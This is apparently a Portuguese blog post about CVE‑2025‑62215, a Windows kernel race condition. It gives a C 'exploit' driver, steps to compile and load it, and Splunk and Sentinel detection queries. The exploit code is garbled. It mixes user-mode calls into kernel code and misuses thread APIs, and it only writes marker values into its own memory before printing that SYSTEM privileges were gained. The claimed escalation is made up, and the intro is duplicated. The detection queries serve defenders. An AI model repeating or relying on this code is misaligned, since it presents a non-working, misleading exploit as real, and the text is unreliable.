
Análise prática da CVE‑2025‑62215, uma condição de corrida do Kernel do Windows explorada ativamente. Demonstra escalada de privilégio para SYSTEM, scripts de detecção e estratégias de validação de patches para defensores empresariais e red teamers.
Análise prática do CVE‑2025‑62215, uma condição de corrida no kernel do Windows explorada ativamente. Demonstra escalada de privilégio para SYSTEM, scripts de deteção e estratégias de validação de patches para defensores empresariais e red teams.
O CVE‑2025‑62215 é um exploit autenticado do kernel do Windows que permite a um atacante escalar privilégios até SYSTEM ao abusar de uma condição de corrida no manipulador de memória. O que torna esta vulnerabilidade especialmente preocupante é o facto de já estar a ser explorada ativamente, com uma pontuação CVSS de 7.0, marcada como ameaça de alta gravidade. Na prática, uma sequência cuidadosamente temporizada de operações em threads pode corromper recursos partilhados do kernel, dando a um processo com baixos privilégios as chaves do reino. Assim que o acesso SYSTEM é obtido, os atacantes podem desativar defesas, mover-se lateralmente pela rede ou implantar ransomware com controlo total. O código de exemplo abaixo ilustra como algo tão simples como a manipulação de threads pode desestabilizar o kernel, sublinhando porque as falhas de escalada de privilégio são tão perigosas em ambientes empresariais reais.
Tipo: Elevação de Privilégio (EoP)
Componente: Kernel do Windows
Mecanismo: Sincronização inadequada de recursos partilhados → condição de corrida
AV:L AC:H PR:L UI:N S:U C:H I:H A:H
O exploit é escrito em C puro para o kernel do Windows. Utiliza APIs nativas para criar duas threads que escrevem num objeto de pool partilhado. Ao alinhar as escritas para offsets específicos, o código desencadeia uma condição de corrida e obtém privilégios SYSTEM.
/*
CVE‑2025‑62215 Exploit – Escalada de privilégio no kernel
Autor: Mark Mallia
*/
#include <ntddk.h>
#include <stdio.h>
typedef struct _POOLS {
void *p1;
void *p2;
void *p3;
} POOLS, *PPOOLS;
/* Objeto pool global – partilhado entre threads */
static PVOID g_pool = NULL;
void __cdecl threadA(void)
{
/* Etapa 1 – Alocar memória e preencher o primeiro slot. */
g_pool = ExAllocatePool(NonPagedPool, 0x100);
((POOLS*)g_pool)->p1 = (PVOID)0xdeadbeef;
}
void __cdecl threadB(void)
{
/* Etapa 2 – Escrever no segundo slot enquanto a threadA ainda está em execução. */
Sleep(3); // Aguardar sincronização
((POOLS*)g_pool)->p2 = (PVOID)0xcafebabe;
}
void __cdecl main_exploit(void)
{
/* Criar duas threads worker que executam concorrentemente. */
HANDLE h1, h2;
h1 = PsCreateSystemThread(threadA);
h2 = PsCreateSystemThread(threadB);
WaitForSingleObject(h1, INFINITE); // Deixar threadA terminar
WaitForSingleObject(h2, INFINITE); // Deixar threadB terminar
/* Verificar se o pool foi corrompido. */
if (((POOLS*)g_pool)->p3 == NULL) {
((POOLS*)g_pool)->p3 = (PVOID)0xfeedface;
printf("Pool grooming bem‑sucedido – Privilégio SYSTEM adquirido.\n");
}
/* Limpar o objeto do kernel. */
ExFreePool(g_pool);
}
Explicação das partes principais
ExAllocatePool reserva um bloco de memória de pool não paginável que é visível para todas as threads.threadA e threadB, são lançadas em paralelo; escrevem em campos adjacentes da mesma estrutura.Compilar – Use cl.exe com /W3 /O2.
cl.exe /c CVE2025_62215.c /Fobuild\CVE2025_62215.sys
Carregar o driver – Carregue o módulo do kernel compilado através de uma rotina padrão de instalação de serviço ou utilizando sc create.
Executar – Execute o exploit a partir de uma sessão de utilizador autenticado (ex.: administrador local).
Verificar – Use o Visualizador de Eventos ou a saída printf incorporada para confirmar que os privilégios SYSTEM foram obtidos.
Para detetar sinais de exploração do CVE‑2025‑62215 no Splunk, concentre-se em eventos de escalada de privilégio. Comece por monitorizar o ID de Evento 4672 (privilégios especiais atribuídos) juntamente com o 4624 (inícios de sessão bem‑sucedidos). Se vir atribuições repetidas de nível SYSTEM para contas que normalmente operam com privilégios de utilizador, isso é um sinal de alerta. Combine isto com o ID de Evento 7045 (instalação de serviço) para detetar carregamentos anómalos de drivers ou serviços, que os atacantes frequentemente utilizam após obter acesso SYSTEM. Ao correlacionar estes eventos no Splunk, os defensores podem destacar saltos de privilégio suspeitos e anomalias ao nível do kernel. Uma consulta SPL simples pode agrupar estes eventos por conta e anfitrião, assinalando picos invulgares, transformando registos brutos em inteligência acionável.
index=wineventlog sourcetype="WinEventLog:Security"
(EventCode=4672 OR EventCode=7045)
| stats count by Account_Name, EventCode, host
| where count > 5
No Sentinel, a deteção baseia-se em regras analíticas e consultas de hunting. Crie regras que são acionadas quando contas ganham subitamente privilégios SYSTEM ou quando múltiplos eventos privilegiados ocorrem numa janela de tempo curta. Por exemplo, correlacionar o ID de Evento 4672 com 7045 pode revelar escalada de privilégio seguida de tentativas de persistência. Utilizando KQL, pode resumir contagens de eventos privilegiados por conta e anfitrião em intervalos de cinco minutos. Se um único utilizador ou máquina gerar múltiplos eventos de nível SYSTEM nessa janela, o Sentinel sinalizá‑lo‑á como suspeito. Combine isto com a telemetria do Defender para Endpoint para detetar atividade anómala de drivers do kernel, garantindo que não vê apenas a escalada de privilégio, mas também o seu impacto a jusante.
SecurityEvent
| where EventID in (4672, 7045)
| summarize Count = count() by Account, Computer, EventID, bin(TimeGenerated, 5m)
| where Count > 3